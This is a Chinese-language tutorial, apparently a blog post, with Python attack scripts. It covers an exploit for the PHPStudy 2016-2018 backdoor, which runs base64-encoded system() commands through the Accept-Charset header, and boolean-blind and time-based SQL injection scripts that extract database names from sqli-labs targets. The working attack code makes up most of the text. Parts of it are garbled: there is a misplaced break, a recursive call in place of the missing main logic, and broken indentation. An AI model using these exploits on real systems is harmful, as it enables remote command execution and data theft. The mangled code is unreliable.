python-后门脚本编写

1. phpstudy 后门脚本编写

# 导入所需模块和库：
python
import requests
import base64
import sys
import re
import random
import string
#代码使用了 requests 库来发送 HTTP 请求，base64 库用于进行 Base64 编码，sys 模块用于获取命令行参数，re #模块用于处理正则表达式，random 和 string 模块用于生成随机字符串。

# 定义脚本的 banner 和用法提示：
python
banner = """
#PHPStudy_2016-2018
...
"""

print(banner)
# 这部分代码定义了一个脚本的标志（banner），在运行脚本时会打印出来，并提供了脚本的使用方法。

# 定义攻击函数 attack(cmd, url)：
python
def attack(cmd, url):
    cmd = f'''system("{cmd}");'''
    cmd = base64.b64encode(cmd.encode()).decode()
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }

    res = requests.get(url=url, headers=headers)

    html = res.content.decode()
    offset = html.find(" ")
    if cmd == "exit":
        break
    print(attack(cmd, url))
# 这部分代码首先调用 verify 函数验证目标网址是否存在漏洞。如果不存在漏洞，则输出提示信息并退出脚本。如果存在漏洞，则询问用户是否要继续执行攻击，只有在用户输入 'Y' 或 'y' 时才会继续。然后，进入一个循环，不断接收用户输入的命令，并调用 attack 函数执行攻击并输出结果。

# 需要注意的是，在实际应用中，这样的攻击行为是非法且具有严重风险的。请不要滥用这种攻击脚本，遵守法律法规，并且仅在合法授权的情况下使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

import requests
import base64
import sys
import re
import random
import string

banner = """
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - AJEST
Usage: python3 *.py http://10.4.7.130/phpinfo.php
"""

def attack(cmd, url):
    cmd = f'''system("{cmd}");'''
    cmd = base64.b64encode(cmd.encode()).decode()
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }

    res = requests.get(url = url, headers = headers)

    html = res.content.decode()
    offset = html.find(" ")
    if cmd == "exit":
        break
    print(attack(cmd, url))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

2. sql 注入脚本编写

2.1 sql盲注脚本

这段 Python 代码是一个用于获取 SQL 注入漏洞数据库相关信息的脚本，在执行前需要先了解 SQL 注入攻击的原理以及相关的技术细节。

下面对代码进行详细解析：
import requests
import string
代码使用了 requests 库来发送 HTTP 请求，string 模块用于进行字符集的处理。


url = "http://192.168.232.182/sqli-labs/Less-8/"
i = 0
name = " "
c_list = string.printable.strip()
定义目标网址和初始参数：这部分代码定义了目标网址、数据库长度变量 i 和用于存储数据库名称的变量 name，同时使用 string.printable.strip() 函数得到 ASCII 可打印字符集（去掉空格），并赋值给 c_list 变量。


while True:
    i += 1
    payload = f"?id=2' and length(database())= {i} --+"
    full_url = url + payload
    res = requests.get(url=full_url)        
    if "You are in..........." in res.text:
        print(f"数据库长度为{i}")        
        con_len = i        
        break
 获取数据库长度：这部分代码使用了二分法的思想，逐步增加数据库名长度并通过注入判断得出正确的长度。将构造好的 payload 添加到目标网址中，然后使用 requests 库发送请求，从响应结果中判断是否存在检索到数据的提示信息（"You are in..........."）。如果存在，说明注入成功，打印出数据库长度并退出循环。

 for i in range(con_len):
    i += 1
    for c in c_list:        
        payload = f"?id=2' and ascii(substr(database(),{i},1))= {ord(c)} --+"
        full_url = url + payload               
        res = requests.get(url=full_url)        
        if "You are in..........." in res.text:                
            name += c                
            break
print(f"数据库名为{name}")
#获取数据库名称：
这部分代码构造类似于获取数据库长度的注入语句，通过二分法的思想依次获取数据库名称。在第一层循环中，逐个字符地进行检查；在第二层循环中，对每种可打印字符（除了空格以外）进行尝试，并将 ASCII 码值作为注入语句的参数进行构造。如果注入语句执行成功，则说明当前字符是正确的，将它拼接到 name 变量中；如果失败，则继续尝试下一个字符。最终，在获取完整个数据库名称之后，输出获取的结果即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

import requests
import string

url = "http://192.168.232.182/sqli-labs/Less-8/"
i = 0
name = " "
c_list = string.printable.strip()
"""
数据库长度
"""
while True:
 i += 1
 payload = f"?id=2' and length(database())= {i} --+"
 full_url = url + payload
 # print(full_url)    
 res = requests.get(url=full_url)
 # print(res)    
 if "You are in..........." in res.text:
     print(f"数据库长度为{i}")        
     con_len = i        
     break
    """
    数据库名称
    """
for i in range(con_len):
    i += 1
    for c in c_list:        
        payload = f"?id=2' and ascii(substr(database(),{i},1))= {ord(c)} --+"           full_url = url + payload               
        res = requests.get(url=full_url)        
        # print(full_url)        
        if "You are in..........." in res.text:            
            name += c            
            break
print(f"数据库名为{name}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

sql延时注入脚本

import requests
import string
url = "http://192.168.232.182/sqli-labs/Less-9/"
i = 0
name = " "
c_list = string.printable.strip()
"""
数据库长度
"""
def get_timeout():
    try:        
        full_url = url + payload        
        res = requests.get(url=full_url, timeout=2)    
    except:        
        return "timeout"    
    else:        
        return res.text
while True:    
    i += 1    
    payload = f"?id=2' and if(length(database())={i},sleep(3),1)--+"    
    full_url = url + payload    
    # print(full_url)    
    if "timeout" in get_timeout():        
        # print(i)        
        break
con_len = i
print(f"数据库的长度为{i}")
"""
数据库名称
"""
def get_name(i,c):    
    try:        
        payload = f"?id=2' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(3),1) --+"        
        full_url = url + payload        
        res = requests.get(url=full_url, timeout=2)    
    except:        
       return "timeout"    
    else:        
    return res.text
    for i in range(con_len):    
     i += 1    
     for c in c_list:        
         get_name(i=i,c=c)        
         # print(full_url)        
         if "timeout" in get_name(i,c):            
         name += c            
         break
print(f"数据库名为{name}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

定义目标网址和初始参数，以及 ASCII 可打印字符集：

url = "http://192.168.232.182/sqli-labs/Less-9/"
i = 0
name = " "
c_list = string.printable.strip()
1
2
3
4
5
6

定义一个函数 get_timeout() 来判断请求是否超时：
def get_timeout():
    try:                
        full_url = url + payload                
        res = requests.get(url=full_url, timeout=2)        
    except:                
        return "timeout"        
     else:                
          return res.text
1
2
3
4
5
6
7
8
9

使用循环逐步增加数据库名称的长度，通过注入语句中执行 sleep(3) 来判断请求是否超时，从而得到数据库名称的长度
while True:    
    i += 1    
    payload = f"?id=2' and if(length(database())={i},sleep(3),1)--+"    
    full_url = url + payload    
    if "timeout" in get_timeout():        
        break
con_len = i
print(f"数据库的长度为{i}")
1
2
3
4
5
6
7
8
9

定义一个函数 get_name(i,c) 来获取数据库名称的每个字符：
def get_name(i,c):    
    try:        
        payload = f"?id=2' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(3),1) --+"        
        full_url = url + payload        
        res = requests.get(url=full_url, timeout=2)    
    except:        
       return "timeout"    
    else:        
       return res.text
1
2
3
4
5
6
7
8
9
10

嵌套循环来逐个字符地获取数据库名称，通过判断请求是否超时来确定字符的正确性：
for i in range(con_len):    
    i += 1    
    for c in c_list:        
        get_name(i=i,c=c)        
        if "timeout" in get_name(i,c):            
            name += c            
            break
print(f"数据库名为{name}")
1
2
3
4
5
6
7
8
9